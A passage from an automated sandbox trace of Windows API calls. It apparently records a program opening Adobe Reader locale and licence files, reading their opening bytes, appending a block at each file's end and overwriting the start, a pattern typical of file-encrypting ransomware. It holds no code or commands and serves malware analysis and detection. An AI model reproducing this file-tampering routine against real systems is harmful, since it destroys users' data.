lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0040.801] ReadFile (in: hFile=0x1a0, lpBuffer=0x1dfc728, nNumberOfBytesToRead=0x578, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dfc728*, lpNumberOfBytesRead=0x2e0f2bc*=0x578, lpOverlapped=0x0) returned 1 [0040.803] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0040.803] WriteFile (in: hFile=0x1a0, lpBuffer=0x280ed58*, nNumberOfBytesToWrite=0xb00, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x280ed58*, lpNumberOfBytesWritten=0x2e0f2d0*=0xb00, lpOverlapped=0x0) returned 1 [0040.803] CloseHandle (hObject=0x1a0) returned 1 [0040.803] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\tur\\eula.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0040.804] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0040.804] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x41e [0040.804] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0040.804] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.804] ReleaseMutex (hMutex=0x128) returned 1 [0040.804] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0040.804] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x1e630cc, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0040.804] ReadFile (in: hFile=0x1a0, lpBuffer=0x2624cc8, nNumberOfBytesToRead=0x41e, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2624cc8*, lpNumberOfBytesRead=0x2e0f2bc*=0x41e, lpOverlapped=0x0) returned 1 [0040.859] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0040.860] WriteFile (in: hFile=0x1a0, lpBuffer=0x1da48f8*, nNumberOfBytesToWrite=0x9a6, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da48f8*, lpNumberOfBytesWritten=0x2e0f2d0*=0x9a6, lpOverlapped=0x0) returned 1 [0040.860] CloseHandle (hObject=0x1a0) returned 1 [0040.860] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\DigSig.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\digsig.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0040.860] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0040.860] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x20400 [0040.860] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0040.860] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.860] ReleaseMutex (hMutex=0x128) returned 1 [0040.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.CAT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.CAT", cchWideChar=10, lpMultiByteStr=0x1e6322c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.CAT", lpUsedDefaultChar=0x0) returned 10 [0040.860] ReadFile (in: hFile=0x1a0, lpBuffer=0x2805cf8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2805cf8*, lpNumberOfBytesRead=0x2e0f278*=0x8000, lpOverlapped=0x0) returned 1 [0040.864] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x1f400 [0040.864] ReadFile (in: hFile=0x1a0, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.876] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x1f400 [0040.876] WriteFile (in: hFile=0x1a0, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.876] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0040.876] WriteFile (in: hFile=0x1a0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2e0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0040.876] CloseHandle (hObject=0x1a0) returned 1 [0040.876] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\ReadOutLoud.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\readoutloud.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0040.877] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0040.877] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x2c00 [0040.877] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0040.877] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.878] ReleaseMutex (hMutex=0x128) returned 1 [0040.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.CAT", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0040.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.CAT", cchWideChar=15, lpMultiByteStr=0x1e630ac, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.CAT", lpUsedDefaultChar=0x0) returned 15 [0040.878] ReadFile (in: hFile=0x1a0, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.920] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x1c00 [0040.920] ReadFile (in: hFile=0x1a0, lpBuffer=0x2736c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2736c68*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.932] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x1c00 [0040.932] WriteFile (in: hFile=0x1a0, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.932] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0040.932] WriteFile (in: hFile=0x1a0, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0040.932] CloseHandle (hObject=0x1a0) returned 1 [0040.932] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\accessibility.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\accessibility.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0040.933] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0040.933] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0xa800 [0040.933] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0040.933] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.933] ReleaseMutex (hMutex=0x128) returned 1 [0040.933] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.CZE", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0040.933] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.CZE", cchWideChar=17, lpMultiByteStr=0x1e789ec, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.CZE", lpUsedDefaultChar=0x0) returned 17 [0040.933] ReadFile (in: hFile=0x1a0, lpBuffer=0x271c048, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x271c048*, lpNumberOfBytesRead=0x2e0f278*=0x4000, lpOverlapped=0x0) returned 1 [0040.944] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x9800 [0040.945] ReadFile (in: hFile=0x1a0, lpBuffer=0x2736a68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2736a68*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.945] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x9800 [0040.945] WriteFile (in: hFile=0x1a0, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.945] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0040.945] WriteFile (in: hFile=0x1a0, lpBuffer=0x276e358*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276e358*, lpNumberOfBytesWritten=0x2e0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0040.945] CloseHandle (hObject=0x1a0) returned 1 [0040.945] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\IA32.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\ia32.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0040.946] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0040.946] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0xe00 [0040.946] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0040.946] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.946] ReleaseMutex (hMutex=0x128) returned 1 [0040.946] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.CZE", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0040.946] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.CZE", cchWideChar=8, lpMultiByteStr=0x1e630cc, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.CZE", lpUsedDefaultChar=0x0) returned 8 [0040.946] ReadFile (in: hFile=0x1a0, lpBuffer=0x2767058, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2767058*, lpNumberOfBytesRead=0x2e0f2bc*=0xe00, lpOverlapped=0x0) returned 1 [0040.949] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0040.949] WriteFile (in: hFile=0x1a0, lpBuffer=0x280dd28*, nNumberOfBytesToWrite=0x1388, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x280dd28*, lpNumberOfBytesWritten=0x2e0f2d0*=0x1388, lpOverlapped=0x0) returned 1 [0040.949] CloseHandle (hObject=0x1a0) returned 1 [0040.949] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\SendMail.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\sendmail.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0040.950] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0040.950] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x3c00 [0040.950] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0040.950] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.951] ReleaseMutex (hMutex=0x128) returned 1 [0040.951] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.CZE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.951] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.CZE", cchWideChar=12, lpMultiByteStr=0x1e631ec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.CZE", lpUsedDefaultChar=0x0) returned 12 [0040.951] ReadFile (in: hFile=0x1a0, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.953] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x2c00 [0040.953] ReadFile (in: hFile=0x1a0, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.953] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x2c00 [0040.953] WriteFile (in: hFile=0x1a0, lpBuffer=0x2736a68*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2736a68*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.953] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0040.954] WriteFile (in: hFile=0x1a0, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0040.954] CloseHandle (hObject=0x1a0) returned 1 [0040.954] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\BRdlang32.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\brdlang32.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0040.954] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0040.954] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x3400 [0040.954] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0040.954] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.954] ReleaseMutex (hMutex=0x128) returned 1 [0040.954] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.DAN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0040.954] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.DAN", cchWideChar=13, lpMultiByteStr=0x1e6302c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.DAN", lpUsedDefaultChar=0x0) returned 13 [0040.954] ReadFile (in: hFile=0x1a0, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.967] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x2400 [0040.968] ReadFile (in: hFile=0x1a0, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.968] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x2400 [0040.968] WriteFile (in: hFile=0x1a0, lpBuffer=0x276e358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276e358*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.968] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0040.968] WriteFile (in: hFile=0x1a0, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0040.968] CloseHandle (hObject=0x1a0) returned 1 [0040.968] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\PPKLITE.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\ppklite.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0040.969] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0040.969] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x7f000 [0040.969] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0040.969] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.969] ReleaseMutex (hMutex=0x128) returned 1 [0040.969] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.DAN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.969] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.DAN", cchWideChar=11, lpMultiByteStr=0x1e631ec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.DAN", lpUsedDefaultChar=0x0) returned 11 [0040.969] ReadFile (in: hFile=0x1a0, lpBuffer=0x2805cf8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2805cf8*, lpNumberOfBytesRead=0x2e0f278*=0x8000, lpOverlapped=0x0) returned 1 [0040.974] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x7e000 [0040.974] ReadFile (in: hFile=0x1a0, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.008] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x7e000 [0041.009] WriteFile (in: hFile=0x1a0, lpBuffer=0x280dd28*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x280dd28*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.009] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0041.009] WriteFile 